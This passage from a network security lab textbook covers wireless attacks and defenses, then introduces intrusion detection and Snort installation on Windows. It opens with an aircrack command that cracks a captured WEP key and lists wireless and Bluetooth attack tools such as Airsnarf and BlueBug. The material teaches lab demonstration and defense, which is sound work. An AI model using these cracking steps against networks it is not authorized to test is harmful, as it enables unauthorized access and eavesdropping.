It might take up to approximately 300,000 packets to break 64-bit WEP and
approximately 1,000,000 packets to break 128-bit WEP. To crack the key,
Aircrack will be used. Aircrack can be run while packets are being captured.
Aircrack common options include the following:
-a
-e
-b
-q
-w
-n
-f
[mode 1 or 2] 1=WEP, 2=WPA-PSK
[essid] target selection network ID
[bssid] target access point’s MAC
enable quiet mode
[path] path to a dictionary word list (WPA only)
[no. bits] WEP key length (64, 128, 152 or 256)
[fudge no.] defaults are 5 for 64 bit WEP and 2 for 128 bit WEP
Next, I launch the crack with the following syntax:
aircrack -a 1 -b APMAC dump.ivs
This command starts Aircrack and reads the required data from the dump.ivs
file. In this example, Aircrack had to run about 35 minutes to finally return the
following:
64-bit WEP key "3be6ae1345."
Exploiting Wireless Networks
If your organization still uses WEP, you may want to use your own
network security lab and a WAP to attempt this technique. Once you are
comfortable with repeating this process, bring other networking team members
and management into the lab so that they can see how vulnerable WEP
is, and use this demonstration to tighten security. This also is effective at
demonstrating why money was well spent in constructing the lab.
Other Wireless Attack Tools
There is no shortage of wireless tools for someone building a network security
lab. Some of these tools include the following:
Mognet — An open source, Java-based wireless sniffer that was
designed for handhelds but will run on other platforms, too. It performs real-time frame captures and can save and load frames in common
formats such as Ethereal, Libpcap, and TCPdump.
WaveStumbler — Another sniffing tool that was designed for Linux.
It reports basic information about APs such as channel, SSID, and
MAC.
AiroPeek — A Windows-based commercial WLAN analyzer that is
designed to help security professionals deploy, secure, and troubleshoot
WLANs. AiroPeek has the functionality to perform site surveys, security
assessments, client troubleshooting, WLAN monitoring, remote WLAN
analysis, and application layer protocol analysis.
Airsnort — A Linux-based WLAN WEP-cracking tool that recovers
encryption keys. Airsnort operates by passively monitoring transmissions and then computing the encryption key when the program
captures enough packets.
THC-wardrive — A Linux tool for mapping WAPs; works with a GPS.
AirTraf — A packet-capture decoding tool for 802.11b wireless networks. This Linux tool gathers and organizes packets and performs
bandwidth calculations as well as signal-strength analysis on a perwireless-node basis.
Airsnarf — Airsnarf is a simple rogue WAP setup utility designed to
demonstrate how a rogue AP can steal usernames and passwords from
public wireless hot spots. Airsnarf was developed and released to
demonstrate an inherent vulnerability of public 802.11b hot spots —
snarfing usernames and passwords by confusing users with DNS and
HTTP redirects from a competing AP.
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Exploiting Bluetooth
Bluetooth has also been shown to be vulnerable to attack. One early exploit
is Bluejacking. Although not a true attack, Bluejacking allows an individual to
send unsolicited messages over Bluetooth to other Bluetooth devices. This can
include text, images, or sounds. A second, more damaging, type of attack is
known as Bluesnarfing. Bluesnarfing is the theft of data, calendar information,
or phone book entries. Tools used to attack Bluetooth include these:
RedFang — A small proof-of-concept application used to find undiscoverable Bluetooth devices.
Bluesniff — A proof-of-concept tool for a Bluetooth wardriving.
Btscanner — A Bluetooth-scanning program that can perform inquiry
and brute-force scans, identify Bluetooth devices that are within range,
and export the scan results to a text file and sort the findings.
BlueBug — A tool that exploits a Bluetooth security loophole on some
Bluetooth-enabled cell phones. It allows the unauthorized downloading of phone books and call lists, and the sending and reading of SMS
messages from the attacked phone.
Securing Wireless Networks
Securing wireless is a challenge, but it can be accomplished. Wireless signals
don’t stop at the outer walls of the facility. Wireless is accessible by many
more individuals than have access to your wired network. Although we look
at some specific tools and techniques used to secure wireless, the general
principle is the same as those used in wired networks. It is the principle of
defense in depth.
Defense in Depth
Defense in depth is about building many layers of protection, such as the
following:
Encrypting data so that it is hidden from unauthorized individuals
Limiting access based on least privilege
Providing physical protection and security to the hardware
Using strong authentication to verify the identity of the users who access
the network
Employing layers of security controls to limit the damage should one
layer of security be overcome
Securing Wireless Networks
Deploying many layers of security to make it much harder for an attacker
to overcome the combined security mechanisms
Changing the default value of the SSID is a good place to start. Another
potential security measure that may work, depending on the organization,
is to limit access to the wireless network to specific network adapters. Some
switches and WAPs can perform MAC filtering. MAC filtering uses the MAC
address assigned to each network adapter to enable or block access to the
network.
Probably one of the easiest ways to increase the security of the network is to
retire your WEP devices. No matter what the key length is, WEP is vulnerable.
Moving to WPA2 will make a big improvement in the security of your wireless
network. If you’re serious about building your own network security lab, you
also want to be proficient at performing site surveys. The goal of a site survey
is to gather enough information to determine whether the client has the right
number and placement of APs to provide adequate coverage throughout the
facility.
It is also important to check and see how far the signal radiates outside of
the facility. Finally, you’re going to want to do a thorough check for rogue
APs. I can’t tell you the number of times I have seen APs show up in locations
where they should not have been. These are as big a threat as, and perhaps
even bigger than, the weak encryption you may have found. A site survey
is also useful in detecting interference coming from other sources that could
degrade the performance of the wireless network. The six basic steps of a site
survey are as follows:
1. Obtain a facility diagram.
2. Visually inspect the facility.
3. Identify user areas.
4. Use site-survey tools to determine primary access locations and check
that no rogue APs are in use.
5. After the installation of APs, verify their signal strength and range.
6. Document your findings, update the policy, and inform users of rules
regarding wireless connectivity.
Misuse Detection
Intrusion detection systems (IDSs) have a long history of use in wired networks
to detect misuse and flag possible intrusions and attacks. Because of the
increased numbers of wireless networks, more options are becoming available
for wireless intrusion detection.
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A wireless IDS works much like wired intrusion detection in that it monitors
traffic and can alert the administrator when traffic is found that doesn’t match
normal usage patterns or when traffic matches a predefined pattern of attack. A
wireless IDS can be centralized or decentralized and should have a combination
of sensors that collect and forward 802.11 data. Wireless attacks are unlike
wired attacks in that the hacker is often physically located at or close to the
local premise.
Some wireless IDS systems can provide a general estimate of the hacker’s
physical location. Therefore, if alert data is provided quickly, security professionals can catch the hackers while launching the attack. A couple of
commercial wireless IDS products are AirDefense RogueWatch and IBM
RealSecure Server Sensor and wireless scanner. Those who lack the budget
to purchase a commercial product have a number of open source solutions
available, including the following:
AirSnare — Will alert you to unfriendly MAC addresses on your network and will also alert you to DHCP requests taking place. If AirSnare
detects an unfriendly MAC address, you have the option of tracking the
MAC address’s access to IP addresses and ports or launching Ethereal
upon detection.
WIDZ Intrusion detection — Designed to be integrated with SNORT or
RealSecure, this is used to guard WAPs, and monitors for scanning, association floods, and bogus WAPs.
Snort-Wireless — Designed to integrate with Snort. It is used to detect
rogue APs, ad hoc devices, and NetStumbler activity.
Summary
This chapter examined wireless technologies, wireless vulnerabilities, and
wireless exploits. Wireless is a technology that is here to stay, so anyone
working in IT or IT security should have a good understanding of how it
functions. Every technology typically goes through growing pains and tends
to become more secure as it matures. Consider early cordless phones. Most
shared a few channels, so anyone could take his or her phone ‘‘mobile’’ and
pick up a neighbor’s conversation or listen in to someone else from down
the block. Modern cordless phones are much more secure. Cell phones have
a similar history. Early analog phones were vulnerable to tumbling, cloning,
and numerous attacks. These attacks continued until modern digital phones
gained market share. Their level of security is much greater than their analog
predecessors. WLAN technologies have already made significant strides.
Replacing WEP with WPA was a good start. WPA2 is an even better technology.
In the future, expect further advances to improve security even more.
Key Terms
Key Terms
Access point spoofing — The act of pretending to be a legitimate AP for
the purpose of tricking individuals to pass traffic by the fake connection
so that it can be captured and analyzed.
Ad hoc mode — An individual computer in ad hoc operation mode
can communicate directly to other client units. No AP is required. Ad
hoc operation is ideal for small networks of no more than two to four
computers.
Bluejacking — The act of sending unsolicited messages, pictures, or
information to a Bluetooth user.
Bluesnarfing — The theft of information from a wireless device through
a Bluetooth connection.
Bluetooth — An open standard for short-range wireless communication
of data and voice between both mobile and stationary devices. Used in
cell phones, PDA, laptops, and other devices.
Defense in depth — The process of implementing multilayered security.
The layers may be administrative, technical, or logical.
Eavesdropping — The unauthorized capture and reading of network
traffic.
Extensible Authentication Protocol — A method of authentication that
can support multiple authentication methods such as tokens, smart
cards, certificates, and one-time passwords.
Infrastructure mode — A form of wireless networking in which wireless
stations communicate with each other by first going through an access
point.
Intrusion detection systems — A key component of security that is used
to detect anomalies or known patterns of attack.
MAC filtering — A method of controlling access on a wired or wireless
network by denying access to a device if the device’s MAC address does
not match one on a preapproved list.
Promiscuous mode — A mode in which your network adapter is set to
examine all traffic, in contrast to its normal mode, in which it examines
only traffic matching its address. Promiscuous mode allows a network
device to intercept and read all network packets that arrive at its interface in their entirety.
Rogue APs — A 802.11 AP that has been set up by an attacker for the
purpose of diverting legitimate users so that their traffic can be sniffed or
manipulated.
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Site survey — The process of determining the optimum placement of
WAPs. The objective of the site survey is to create an accurate wireless
system design/layout and budgetary quote.
Wardriving — The process of driving around a neighborhood or area to
identify WAPs.
Exercises
This section presents several hands-on exercises to help reinforce your knowledge and understanding of the chapter. The author selected the tools and
utilities used in these exercises because they are easily obtainable. Our goal is
to provide you with real hands-on experience.
Using NetStumbler
In this exercise, you use NetStumbler to scan for available WAPs. You need a
laptop and wireless card to complete the exercise.
1. You will be using the NetStumbler program for this exercise. Download
the program from www.netstumbler.com/downloads.
2. After installing the program on a Windows-based PC, make sure that
you have loaded the appropriate wireless card. The NetStumbler site has
a list of the types and brands of cards that work with the application.
3. To help prevent the chance of accidentally accessing someone’s WAP,
it is best to unbind all your TCP/IP properties. This can be done by
unchecking the TCP/IP properties under Settings/Dialup and Network
Connections.
4. Now you should start NetStumbler. By default, it places an icon on your
desktop. Once the program is open, click File/Enable Scan. This should
start the scanning process. If you are unable to pick up any WAPs, you
may want to move around or consider taking your laptop outside. In
most urban areas, you should not have much trouble picking up a few
stray signals.
Detected signals display as green, yellow, or red to denote the signal
strength. Other fields of information the program provides includes signal strength, SSID, name, channel, speed, vendor, and encryption status. If
you hook up a GPS, your NetStumbler will also provide longitude and latitude.
Exercises
Using Wireshark to Capture Wireless Traffic
In this exercise, you will set up Wireshark so that you will be able to capture
and examine encrypted and unencrypted wireless traffic. You can use the
Wireshark program that is preinstalled in BackTrack, or you can download
the Windows version from www.wireshark.org.
1. After loading Wireshark, you will see several options across the top of
the program. Select Capture ➪ Options to configure the program. Make
sure to choose the correct interface (NIC) adapter and set the program
to update packets in real time and for automatic scrolling. An example is
shown in Figure 9-11.
2. Choose the Start Capture option.
3. After a few packets have been captured, stop Wireshark. You will see
information displayed in three different views. The top window shows
all packets that were captured. Clicking one of these will display that
frame’s contents in the middle frame, as shown in Figure 9-12. You may
Figure 9-11 Wireshark capture options.
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Figure 9-12 Wireshark capture.
also note that the bottom frame displays the actually hex dump. While
reading hex is not mandatory, notice the first 16 bytes of the frame.
The first 8 bytes are the destination MAC and the second 8 bytes are the
source MAC.
4. Now use Wireshark to capture and analyze some wireless traffic with
and without encryption. Note that the MAC addresses will be visible
in both.
CHAPTER
10
Intrusion Detection
This chapter introduces you to one of the technologies that you can use to
protect and defend the network: intrusion detection. Intrusion detection systems
(IDSs) can be used to inspect network/host activity. An IDS can identify
suspicious traffic and anomalies. The logical world of network security is
not the only area in which intrusion detection is used. Intrusion detection
as a technology is also used by security alarm companies, in financial and
wire-fraud detection systems, and in homing systems used for guidance in
artillery.
IDSs act like security guards. Just as security guards monitor the activities
of humans, IDSs monitor the activity of the network. Unlike a security guard,
an IDS doesn’t fall asleep or call in sick. However, this does not mean that
they are infallible. Any technical system has its limitations, and IDSs are no
different. This chapter not only looks at the advantages and disadvantages of
IDSs but also provides you with some basic hands-on skills for setting up and
configuring an IDS. The IDS that is examined in this chapter is Snort. Let’s
start with a high-level overview of the development of intrusion detection.
Overview of Intrusion Detection and Prevention
Intrusion detection was really born in the 1980s, when James Anderson put
forth the concept in a paper titled ‘‘Computer Security Threat Monitoring
and Surveillance.’’ A few years later, Dorothy Denning advanced the concept
of IDS further and worked with the Department of the Navy to build a working
IDS. A system that performs this type of function was clearly needed. Consider, for instance, Cliff Stoll, the author of The Cuckoo’s Egg. He investigated
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intrusions at Lawrence Livermore Labs and had to use a dot-matrix printer to
record TTY traffic.
IDSs are considered first-generation products because by design they are
detective systems. Although an IDS can be used to analyze both insiders
and outsiders, it’s somewhat more common to see them used for outsiders.
You also need to be aware of the distinction between misuse detection and
intrusion detection. Misuse detection is usually targeted toward individuals
with valid system access; an example is an employee who is using the
Internet for personal reasons. Intrusion detection is targeted toward individuals with no authorized system access, such as the outsider, hacker, or
government spy.
Second-generation IDSs are known as intrusion prevention systems (IPSs).
Whereas an IDS is seen as a detective, an IPS is seen as a preventative.
For instance, think of IDS as being similar to a burglar alarm, which alerts
you about the occurrence of a physical intrusion. An IPS would not only
detect the physical intrusion; it might also signal all the building door locks
to actuate and lock the burglar securely in place until the police arrive.
In reality, the functionally of intrusion systems has blurred to the point
where some vendors and other entities, such as the National Institute of
Standards and Technology (NIST), have actually begun using the term ‘‘intrusion detection and prevention’’ (IDP). Regardless of what you want to call
intrusion detection, most commercial environments use some combination of
network, host, and/or application-based IDS to observe what is happening on
the network while also monitoring key hosts and applications more closely.
Let’s look now at the basic types and components of an IDS.
IN THE LAB
If you are not running an IDS in your network security lab, you are missing a big
piece of security. Consider security as a triad consisting of prevention,
detection, and response. Much of this book has discussed preventive measures
that can be used to secure the network. While incident response and forensics
might be thought of as the response leg of the triad, an IDS is the detection
portion. Start thinking about installing an IDS — I would recommend Snort. This
chapter provides many examples of how to install and configure Snort.
IDS Types and Components
IDS can be divided into two broad categories: network-based intrusion detection systems (NIDSs) and host-based intrusion detection systems (HIDSs).
NIDSs examine packets on the network and look at the data in an attempt
to recognize an attack. A NIDS makes use of a computer that has its NIC
placed in promiscuous mode. This basically means that the NIC accepts all
IDS Types and Components
data packets it sees, not just the ones specifically addressed to it. If the system
is operating on a hub, this requires nothing more than plugging the NIDS
into the hub. If a switch is being used, a port must be mirrored or spanned.
This action configures the switch to direct traffic from either specific ports
or a specific virtual LAN (VLAN) to the port you have specified to be used
by the IDS. One advantage of a NIDS is that it can support many sensors
so that the system can monitor the demilitarized zone (DMZ), the internal
network, or specific nodes of the network. The disadvantage of a NIDS is
that even if it can see certain types of traffic (e.g., encrypted), it doesn’t mean
that it knows what the traffic is actually doing. Another disadvantage of a
NIDS is that it will not detect attacks against a host made by an intruder
who is logged in at the host’s terminal. If a network IDS along with some
additional support mechanism determines that an attack is being mounted
against a host, it is usually not capable of determining the type or effectiveness of the attack being launched. Some examples of a NIDS include Snort
(www.snort.org), Cisco Intrusion Detection System (http://www.cisco.com
/en/US/products/hw/vpndevc/ps4077/index/html), and Symantec NetProwler (http://securityresponse.symantec.com/avcenter/security/Content/
Product/Product NP.html).
HIDSs only monitor traffic on one specific system. HIDSs typically do not
place the NIC in promiscuous mode, and therefore do not have to deal with the
level of traffic that a NIDS would. Promiscuous mode can be CPU-intensive for
an older and slower computer. HIDSs looks for unusual events or patterns that
may indicate problems. HIDSs excel at detecting unauthorized accesses and
activity. As an example, if a word processor starts accessing an email program
and is sending hundreds of emails, the HIDs would be alerted. HIDSs can also
look at the state of a system and verify that all contents appear as expected.
Both NIDSs and HIDSs can be configured to scan for attacks, track a hacker’s
movements, and alert an administrator to ongoing attacks. Some examples of
HIDSs are Tripwire (http://sourceforge.net/projects/tripwire), Samhain
(http://la-samhna.de/samhain), Swatch (http://swatch.sourceforge.net),
and RealSecure (http://www.iss.net).
Most IDSs consist of more than one than one application or hardware device.
IDSs are composed of the following parts:
Network sensors — Detect and send data to the system
Central monitoring system — Processes and analyzes data sent from
sensors
Report analysis — Offers information about how to counteract a specific
event
Database and storage components — Perform trend analysis and store
the IP address and information about the attacker
Response box — Inputs information from the previously listed components and forms an appropriate response
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True
False
True Positive
False Positive
True Negative
False Negative
Figure 10-1 IDS possible states.
The key to what type of activity the IDS will detect depends on where
the network sensors are placed. This requires some consideration because,
after all, a sensor in the DMZ will work well at detecting problems there but
will prove useless for attackers who are inside the network. Even when you
have determined where to place sensors, there is still the process of tuning.
Without specific tuning, the sensor will generate alerts for all traffic that
matches a given criteria, regardless of whether the traffic is indeed something
that should generate an alert. To detect true incidents, it is necessary to know
how to identify them and how to distinguish them from normal activity. An
IDS must be trained to look for suspicious activity. Figure 10-1 details the
relationship between IDSs and the types of responses they can produce.
Otherwise, it’s just like your neighbor with the car alarm that goes of
every time it rains. After a while, no one really listens anymore. A properly
configured IDS will produce a high number of true positives and true negatives
and a low number of false positives and false negatives. Now let’s discuss the
ways that IDSs are designed to trigger on these events.
IDS Engines
Intrusion detection engines or techniques can be divided into two distinct
types or methods: signature and anomaly.
A signature-based or pattern-matching IDS relies on a database of known
attacks. These known attacks are loaded into the system as signatures. As soon
as the signatures are loaded into the IDS, it can begin to guard the network.
The signatures are usually given a number or name so that the administrator
can easily identify an attack when it sets off an alert. Alerts can be triggered
for fragmented IP packets, streams of SYN packets (DoS), or malformed ICMP
packets. The alert might be configured to change to the firewall configuration,
set off an alarm, or even page the administrator. Figure 10-2 shows an example
of how a signature-based IDS works.
IDS Engines
Database of
attack signatures
Current activity
and traffic
Pattern matching
If matched
Generate and
report alert
Figure 10-2 Signature-based IDS.
The biggest disadvantage of signature-based systems is that they can trigger
only on signatures that have been loaded. A new or obfuscated attack may go
undetected. Snort is a good example of a signature-based IDS.
Anomaly-detection systems require the administrator to make use of profiles
of authorized activities or place the IDS into a learning mode so that it can
learn what constitutes normal activity. Figure 10-3 shows this overall process.
A considerable amount of time needs to be dedicated to make sure that
the IDS produces few false negatives. If an attacker can slowly change his
activity, over time the IDS may be fooled into thinking that the new behavior
is actually acceptable. Anomaly detection is good at spotting behavior that is
greatly different from normal activity. As an example, if a group of users who
log in only during the day suddenly start trying to login at 3 a.m., the IDS can
trigger an alert that something is wrong. Figure 10-4 shows an example of this.
One of the most unique features of an IDS is the capability to decode
packets, which is sometimes referred to as ‘‘deep packet inspection’’ by
firewall vendors. Having the capability to decode application and protocol
headers means that the IDS can reassemble packets and look at higher-layer
activity. If the IDS knows the normal activity of the protocol, it can pick
out abnormal activity. Protocol-decoding intrusion detection requires the IDS
to maintain state information. As an example, DNS is a two-step process;
therefore, if a protocol-matching IDS sees a number of DNS responses that
occur without a DNS request, it can flag that activity as cache poisoning. To
effectively detect these intrusions, an IDS must reimplement a wide variety of
application-layer protocols to detect suspicious or invalid behavior.
Historical data
Learn and update
normal activities
If characteristic
Current data
Compare with
normal activities
Figure 10-3 Anomaly-based IDS.
If uncharacteristic
Generate and
report alert
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Normal Activity
Abnormal Activity
Finance
8 a.
m. -
5 p.
-5
.m.
8a
m.
3 a.m.
.
p.m
Manufacturing
Payroll
Database
Payroll
Database
Human
Resources
Figure 10-4 Normal and abnormal activity.
DETECTING INTRUSIONS AND ATTACKS
Intrusion detection is not the only way to detect an attack or intrusion. Even
before IDSs were widely used, other mechanisms were used to detect
unauthorized activity. One of the most widely used methods is integrity
verification. An example of this technology is Tripwire. Tripwire works by
building a profile of the system in a known state. This is done by means of MD5
or SHA checksums. These values are created and stored for potentially all
system files and placed in a database. Then, at predetermined intervals, a
second snapshot of the same files is taken, and these are compared so that any
changes can be noted. This makes it easy to spot changes/abnormalities. This
provides a proven means of detecting file changes or malware, such a rootkits
that might have been installed on the system.
An Overview of Snort
Snort is a freeware IDS developed by Martin Roesch and Brian Caswell. It’s
considered a NIDS that can be set up on a Linux or Windows host. Although
the core program has a command-line interface, two popular GUIs can be
used: SnortSnarf and IDScenter. Snort operates as a network sniffer and logs
activity that matches predefined signatures. Signatures can be designed for a
wide range of traffic, including IP, TCP, UDP, and ICMP. If you have never
used an IDS, you might be surprised at the number of alerts it will produce in
just a few hours upon being connected to the Internet.
An Overview of Snort
Platform Compatibility
Snort can be run on both Linux and Windows. It can also be run on other
platforms, such as FreeBSD, Solaris, and Mac OS X. If you are going to run
Snort on a Linux system, you can take advantage of some precompiled binaries
that are already available for use. You also have the option of running it from a
CD-based Linux OS, such as BackTrack. While the choice of Linux or Windows
may be a no-brainer for some purists, there are advantages and disadvantages
for each platform.
Features for Linux include:
Snort was developed for Linux.
Snort maintains a high level of flexibility when used on a Linux system.
Linux does not suffer from the overhead that’s required in the Windows
environment.
Features for Windows include:
You can use a familiar interface.
You can use existing software and systems.
Because this book is about building your own network security lab, it’s
important to look at tools that can be used on both Linux and Windows. Snort
is one such tool. While Snort on a Linux system does have its advantages,
software choices are rarely made on purely technical grounds. If you are more
comfortable with Windows, it should not stop you from building and running
a Windows Snort system.
N O T E There is an ongoing war as to what OS is the best and which is really
more secure. Just search Google for ‘‘what’s more secure, Linux or Windows’’; that
search will bring up hundreds of links. Pick out any of those or check out
www.theregister.co.uk/2004/10/22/linux v windows security.
Assessing Hardware Requirements
What’s really required to support a Snort installation? Variables you will want
to review include the following:
Network access speed
Data throughput
Log and alert retention
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Whether the system is dedicated to Snort or expected to support services
Your budget
As you can probably imagine, the performance of a Snort system is based on
many different factors. For example, is the system being used a single-processor
system or does it support multiple processors? Snort requires considerable
processing power. You also want to consider what other programs the system
is running. If you are running MySQL, BASE, or the older Analysis Console
for Intrusion Databases (ACID) program, these will also use computing power
and further degrade a slow single-processor system.
Snort can also require a lot of hard disk space. A Windows installation of
Snort with many of the needed bells and whistles can be 3 to 4GB. That’s
before you even start to consider alert storage. If you are planning to keep
even a moderate number of alerts, it’s not unreasonable to consider 40 to 50GB
of storage for alerts. The next items to consider are the network interface cards
(NICs). You should consider having at least two NICs for your Snort system.
One NIC can be used for remotely managing the system, while the second NIC
can be used for sniffing traffic. Figure 10-5 shows a typical Snort deployment.
If you cannot match the speed of your network, go for a higher speed. As an
example, if you have a 100MB network and yet several devices support speeds
of 1GB, opt for the 1GB network card over a slower 100MB NIC.
Internet
Firewall
Web server
Firewall
Snort
Internal
Network
Figure 10-5 Common Snort deployment.
Installing Snort on a Windows System
Installing Snort on a Windows System
If you have made the decision to install Snort on a Windows system, you
want to make sure that it meets the minimum requirements. Both Windows
XP and Windows Server 2003 are good choices. Windows Vista and 2000 are
marginally acceptable, but you will need to keep in mind that Windows 2000
has passed its end of life, and Vista is still relatively new and requires much
processing power and memory just for the OS. You also need at least one NIC,
a network connection, and a packet-capture driver for Windows. WinPcap is
the standard application for this purpose.
WHY SNORT ON WINDOWS
Snort is basically set up on BackTrack, so if you plan to go that route, much of
the work covered here is already done for you. However, Linux is not the only
option. In the lab either platform may work, yet in actual deployment you will
need to consider who will maintain and service the system that Snort is loaded
on. If you come from a totally Windows shop, you may find it more convenient
to base Snort on a Windows system. Properly configured, both Linux and
Windows are suitable platforms for Snort.
MySQL
For Snort to be a truly useful tool, you also need to install a database
component — the most commonly used is a relational database management
system (RDMS). An RDMS stores data in the form of tables. Each database
table row consists of one or more database table fields. While you might be
wondering why we would not choose MS SQL, it is primarily because the
application is not free and because Snort cannot log in to a SQL database in
real time. This is one of the reasons MYSQL is a good choice to use as the
database component of Snort.
Limiting Access
Before you begin to install Snort, make sure that you have Windows locked
down. Remember that the primary purpose of Snort is to monitor the activity
of the network. The last thing you want is to give an attacker the ability to
access the system that Snort is running on and be able to make changes or alter
the logs. Limiting access is really not that difficult. You just need to secure it
physically and logically and harden the OS.
Physically securing your Snort system can best be accomplished by limiting
access to the server. The Snort server should be located in an area that has controlled access. You really don’t need a floppy disk in the computer, nor does the
computer need the ability to boot from USB or CD/DVD. If you cannot place
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the system in a secured server room or data center, at least place the system in
a locked cabinet or other area that features controlled access.
One way to control logical access is by using a one-way data cable. Basically,
if the Snort server has two NICs, the NIC that is used to monitor traffic only
needs the ability to receive traffic and not transmit. This adds an additional
layer of protection when deployed in an untrusted network. If you want to
learn more about how to build a one-way data cable, check out the exercise at
the end of this chapter.
You should also consider limiting who can log on to the Snort server. The
last thing you want is to leave a weak password that allows access to an
unauthorized individual. Guest accounts and any other unneeded accounts
should be deleted. Because of the capabilities of password-cracking tools and
rainbow tables, you should use passwords that are complex in nature. By
that I mean upper- and lowercase letters, numbers, and special characters.
Passwords should be no fewer than 8 characters, whereas 14 is preferred. You
can further confuse attackers by renaming the Administrator account.
As for hardening the OS, the best place to start is by removing all unneeded services. After you have installed your Windows OS of choice, go to
Add/Remove Programs and uninstall any unneeded Windows applications.
You will also want to go to the Control Panel and turn off unneeded services. As
far as protocols, only TCP/IP is needed; you can remove everything else. Next,
apply all available patches and updates. If you are planning to communicate
with the system remotely, consider an encrypted communications channel,
such as IPSec or SSH. As a final thought, you should periodically run an
assessment tool to baseline the security of the system, such as Microsoft’s
Baseline Security Analyzer or IIS Lockdown Tool. Both of these tools are
available at the Microsoft web site.
Installing the Base Components
To get Snort running on a Windows system, you need WinPcap and the
Snort executable. The purpose of WinPcap is to allow programs such as
WinDump, Snort, and other IDS applications to capture low-level packets
traveling over a network. It should be the first program installed before
using most Windows-based IDS systems. WinPcap can be downloaded from
www.winpcap.org/install/default.htm. Now we can move onto installing
the Snort program. Snort.org packages the Windows components into and
executable installation program available at www.snort.org/dl/binaries
/win32. As of the publication of this book, the most current version is Snort
2.8.0. Let’s look at the steps required to get Snort installed:
1. Double-click the Snort 2.8.0 program and wait for the GNU Public
License to appear.
2. Next, click the I Agree button. As this marks your agreement to the GNU
License, the Installation Options window will appear.
Installing Snort on a Windows System
3. When you are at the Installation Options dialog box, click the appropriate
boxes to select from among the options shown here and in Figure 10-6:
I do not plan to log to a database, or I am planning to log to one of the
databases listed above. Choose this option.
I need support for logging to Microsoft SQL Server. Click this radio button
only if you already have SQL Server installed.
I need support for logging to Oracle. Choose this option only if you have the
Oracle installed on your computer.
4. Now, click the Next button. The Choose Components window will
appear, as shown in Figure 10-7.
5. In the Choose Components window, leave the default setting, and then
click Next.
6. The Install Location window appears. Leave the default setting of
C:\Snort, as shown in Figure 10-8.
7. Click the Install button and allow the Snort program to finish installing.
Once the installation is done, click the Close button. The installation
is now complete.
It is now time to look at how to configure your Snort system.
Figure 10-6 Snort installation options.
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Figure 10-7 Choose Snort components.
Figure 10-8 Choose install location.
Installing Snort on a Windows System
Basic Configuration
Although you might be ready to fire up Snort and start sniffing, there are still
a few more basic configurations steps that you need to perform before Snort
is ready to use. To start, you need to configure the Snort.conf file. It can be
found at C:\snort\etc\snort.conf. You will want to open the .conf file with
a basic text editor, such as Edit or Notepad. Once opened, the file will appear
as shown in Figure 10-9.
For those who are used to the Windows GUI, this configuration may be a
littler more difficult. You need to double-check everything you type into the
.conf file. If there is an error in the file, Snort will not work. The options you
want to configure are:
Network settings
Rules settings
Output settings
Include settings
Figure 10-9 Snort.conf.
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By default, Snort.conf has the network set at
var HOME_NET any
Leaving this setting as is will configure Snort to monitor any network that
it is attached to. To monitor a specific subnet, the setting would be configured
as follows:
var HOME_NET 192.168.123.0/24
This setting instructs Snort to monitor all devices on the 192.168.123.0 subnet.
To monitor one single device on the 192.168.123.0 network, the setting is
var HOME_NET192.168.123.254/32
This setting instructs Snort to monitor the 192.168.123.254 system.
To ensure that Snort can detect and log attacks, you need to make sure that
the rule path is properly set. The default rule path is var RULE_PATH ../rules.
You must replace this line with the correct path for the rules. As an example,
mine would be placed in c:snort\rules, so the syntax would be this:
var RULE_PATH c:\snort\rules
The next configuration is the output settings. Output settings define how
Snort will display information to the end user. These settings are used when
setting the MySQL database. You must change the default line so that it is
no longer commented out. In the .conf file, any line that begins with # is
ignored. Find the following line and remove the # symbol and change output
log_tcpdump: tcpdump.log to output alert_fast: alert.ids. Before configuring the MySQL database, you must fill in the following parameters. You
need to record this information in a safe place, such as an encrypted file or a
secured notebook.
User: ______________________________
This is the MySQL user for the database where Snort stores its data. You can
use any name you like, such as Snort admin.
Password: __________________________
This is the password for the MySQL database user. Make it complex!
dbname (for logs and alerts): ___________________________
Record the database name where Snort will store its alerts and logs here.
YOURHOSTNAME _________________________________
Installing Snort on a Windows System
This is the hostname of your database server. Type hostname from the
command line if you cannot remember this value.
The final step here is to edit the Include configuration. The classification
.config and reference.config files are the two standard Snort configuration files that must be referenced in order for Snort to properly classify and
provide references to the alerts it generates. The classification.config
file contains alert levels that Snort monitors against network traffic. To
set the classification.config file in the snort.conf configuration file,
find classification.config in the snort.conf file. Insert the actual path
for the classification.config file into the file so that it reads Include
SnortPath\etc\classification.config. The reference.config file contains
URLs referenced in the rules that provide more information about the alerted
event. To set this file, you will need to find the reference.config file in the
snort.conf file that says Include reference.config. You need to insert the
actual path for the reference.config file so that it looks something like this:
Include C:\snort\etc\reference.config
This completes the setup and brings us to the point where we can test the
basic Snort configuration.
Verification of Configuration
Snort can operate in three different modes: Sniffer mode, Packet Logger mode,
and Network Intrusion mode.
Sniffer Mode
Sniffer mode works just as the name implies. It configures Snort to sniff traffic.
Let’s take a moment as this point to verify Sniffer mode:
1. Reboot your machine and log back on to Windows. To check whether
Snort was properly configured, open two command prompts.
2. At one of the command prompts, navigate to the C:\snort\bin folder,
and enter snort –W. You should see a list of possible adapters on which
you can install the sensor. The adapters are numbered 1, 2, 3, and so
forth. The results of my query are shown here:
C:\Snort\bin›snort -W
,,_
-*› Snort! ‹*o" )~ Version 2.8.0-ODBC-MySQL-FlexRESP-WIN32 (Build 67)
‘‘’’ By Martin Roesch & The Snort Team: http://www.snort.org/team.html
(C) Copyright 1998-2007 Sourcefire Inc., et al.
Using PCRE version: 4.4 21-August-2003
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Interface
Device
Description
------------------------------------------1 \Device\NPF_GenericDialupAdapter (Adapter for generic dialup and VPN
capture)
2 \Device\NPF_{B25FC488-A37A-4C6C-8A6B-9A4FC79AB995} (VMware Virtual
Ethernet Adapter)
3 \Device\NPF_{37E7E822-5EDB-4E72-BEAF-CA1EDA55B1F7} (VMware Virtual
Ethernet Adapter)
4 \Device\NPF_{BB5E4672-63A7-4FE5-AF9B-69CB840AAA7E} (NETGEAR GA302T
Gigabit Adapter)
3. At the c:\snort\bin› prompt, enter snort –v –ix, where x is the number
of the NIC to place your Snort sensor on. Because I am using the fourth
adaptor, I would enter 4.
4. Switch to the second command prompt and ping another computer.
For this I used 4.2.2.2. When ping is complete, switch back to the command prompt window running Snort, and press Ctrl+C to stop Snort.
Figure 10-10 shows a sample capture.
Packet Logger Mode
Packet logger mode allows Snort to capture and log traffic. Now let’s take a
look at Snort’s logging abilities. For this you will use the –l (log) switch:
1. From the command line, change to the directory where you installed
Snort. Then from the command prompt, enter snort –ix –dev –l\snort
\log. This will start Snort and instruct it to record headers in the \snort
\log folder.
2. Now ping the system that Snort is installed on from another system.
Figure 10-10 Sample capture.
Installing Snort on a Windows System
